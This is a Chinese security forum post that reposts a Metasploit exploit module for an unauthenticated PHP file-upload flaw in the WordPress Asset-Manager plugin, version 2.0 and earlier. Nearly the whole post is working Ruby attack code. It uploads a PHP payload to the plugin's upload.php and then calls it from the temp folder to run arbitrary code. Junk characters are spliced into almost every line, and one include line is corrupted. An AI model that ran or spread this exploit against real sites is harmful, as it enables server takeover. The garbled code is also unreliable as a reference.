找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2010|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
. W% P. t, ]( X5 w; C5 y! t+ m4 A: G* \7 I, S0 |
##
8 r7 R* p7 e; X: k: C# This file is part of the Metasploit Framework and may be subject to* F, H. t0 I5 B8 }& H
# redistribution and commercial restrictions. Please see the Metasploit, K: z! Q: Z, V& d# ^9 s: Y& \
# Framework web site for more information on licensing and terms of use.6 o. ^  ]  D5 P$ P2 X
#   http://metasploit.com/framework/* w. _9 H# B9 R6 N  u  E" T" o
##
8 N. h! b; R6 C9 X1 R - z* t' O4 K" {0 A" W2 ?
require 'msf/core'6 I; @# R6 J2 p. m8 |: O. s& }/ Y
require 'msf/core/exploit/php_exe'/ I8 l  O/ [. `. p8 B
2 f" ]' L* C. \& O# Y8 i9 d
class Metasploit3 < Msf::Exploit::Remote
7 y. Z  Q, N8 ~6 J/ L  Rank = ExcellentRanking
( l0 B' z% A3 K6 b) E. U * O6 L1 C4 |' W. z9 G' `5 N: B
  include Msf::Exploit::Remote::HttpClient1 e0 a& Q+ v- E( x
  include Msf::Exploit:hpEXE5 ?+ u0 K8 k7 d8 F" n& }1 a8 d
$ V  E- e* Z+ J/ K
  def initialize(info = {})
( z8 k4 S" {. k5 R* M% N    super(update_info(info,, T+ t3 H2 G5 A4 r+ a; b& _- F! y0 k* W
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',3 u" y/ p1 y: z7 L. V: ~; w
      'Description'    => %q{( D% E" ?' }$ L) C5 F3 l
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
3 r/ c3 Y" F! f' G% |- v        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
! J1 s. f$ j3 ]) w  [! n        temp directory without authentication, which results in arbitrary code execution.
3 W6 Y5 k& V/ r: s6 c2 v' K      },
2 [: r5 Y, M% V% R3 i4 T% e3 S      'Author'         =>( l! f+ Y# b3 ~: V' {
        [! Z0 V+ O+ v, k% a$ z
          'Sammy FORGIT', # initial discovery
9 q1 a% _5 k* j% ]) J          'James Fitts <fitts.james[at]gmail.com>' # metasploit module5 [0 H6 w7 ^7 K, d; h
        ],- }/ ?8 d2 J3 N' e9 z. X4 @
      'License'        => MSF_LICENSE," V: b1 v! P# n+ A. ~( B) K* b+ l/ C
      'References'     =>1 i4 s5 @! |- k/ {& u- M
        [
( n% y( ?% a) `+ F3 ^; ]          [ 'OSVDB', '82653' ],
. [  @+ N; X/ I# B9 B          [ 'BID', '53809' ],
( V3 R9 a% e$ s! l  f5 c          [ 'EDB', '18993' ],
: n6 _5 M( i0 j2 S          [ 'URL', 'http:// www.myhack58.com /' ]* j  }5 k) X% M
        ],
9 i8 N; G! c" r5 u5 ~      'Payload'       =>1 Q# Y" |& S; r7 W3 q" Q" @- ?9 H
        {
3 e% g& q2 R/ ]4 _          'BadChars' => "\x00",& Y3 f; R6 {& H6 p
        },, U! A4 {" b; c: G) X' t
      'Platform'       => 'php',+ f& S; L* @1 B
      'Arch'           => ARCH_PHP,
- f' G/ E" f: G9 P* c      'Targets'        =>
  O0 R' J5 i9 p* A5 j        [
( j8 |/ ^1 h$ Z7 D0 ]5 Y          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],( t1 u: G) |) h6 O* W2 i: C2 R4 }+ ?
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
7 q7 k( `2 b+ m        ],
5 y% o- E) f( Y% T0 @      'DefaultTarget' => 0,
  \* n6 w4 g" N) P4 Q      'DisclosureDate' => 'May 26 2012'))
' T4 n' [! m- _% B1 Y - F3 k+ V8 I5 q! U" ?& ~! Y. j
    register_options(
/ A) A2 f7 D4 F$ R3 T      [" n7 B/ y6 C  {" Q! |
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']). m9 C* a9 d8 Y) e  a' ]
      ], self.class)
4 |( l4 q* t" C# B% J" J! W3 J  end/ o" e5 _& f' x# l

2 V2 X, s- V9 V/ ]5 |/ I  def exploit+ w  C* S) H9 ]! [' G3 x
    uri =  target_uri.path
- t- C1 M  x) T( L    uri << '/' if uri[-1,1] != '/'
) K% d- D: ~; U8 v0 O8 P1 p" ]    peer = "#{rhost}:#{rport}"% ?. C4 }; S) ^
    payload_name = "#{rand_text_alpha(5)}.php"/ c7 i% `3 d# t4 Q
    php_payload = get_write_exec_payload(:unlink_self=>true)9 h# N: T6 T4 z3 h/ ~  @

( m& i: o7 Z  Y' ?, W" i; v! }+ j    data = Rex::MIME::Message.new
9 C) x. G* T$ z& M" t    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
* W7 I% i# \: O8 B7 R* g    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
" y% A- {5 j5 ?( p! k7 _8 g
0 Y# T9 T2 F" X8 \2 J: L& T    print_status("#{peer} - Uploading payload #{payload_name}")
3 a) e  N- `% L3 ?    res = send_request_cgi({
! U5 p9 s$ U4 ?5 F: L* l: ]0 x      'method'  => 'POST',9 y; x1 q" H% ~6 k& Z
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
) E/ H) F6 K# }& @# j" U      'ctype'   => "multipart/form-data; boundary=#{data.bound}",& {8 n" G- G( D
      'data'    => post_data" l$ A! F5 h$ `& E
    })
* }8 h6 `2 l# X 1 g9 o$ _1 ]0 @6 x; M
    if not res or res.code != 200 or res.body !~ /#{payload_name}/1 j- c0 Y% i; S! j5 [
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")! J3 a+ k5 K$ G8 s
end
' E) w- V- ]. }9 k
: v6 T6 O7 J) `9 Z1 w+ O; `- i; g" U    print_status("#{peer} - Executing payload #{payload_name}")
+ ?+ W1 W" f! ]" \% s0 a- j1 d    res = send_request_raw({
3 p1 I6 a" k9 L" R, U4 W1 V8 G) M      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
, u& \- z6 N; ~1 B$ g      'method'  => 'GET'
4 i9 c. x+ a; u8 L    })
9 t' R# N8 N6 k0 {  a  u; e9 [! [4 U
: c, ^6 c( _' H9 N# f    if res and res.code != 200
# P2 t- u* w. Z* \' b% U0 Z      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")) K2 i: w, V7 T% `$ ^4 V& ~$ u
    end
+ e+ l5 _3 h- m* r2 ?  end
3 |0 A* |8 o9 s  u) \$ ]& }5 p3 E' J# Zend3 u! w: L2 b! i+ N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表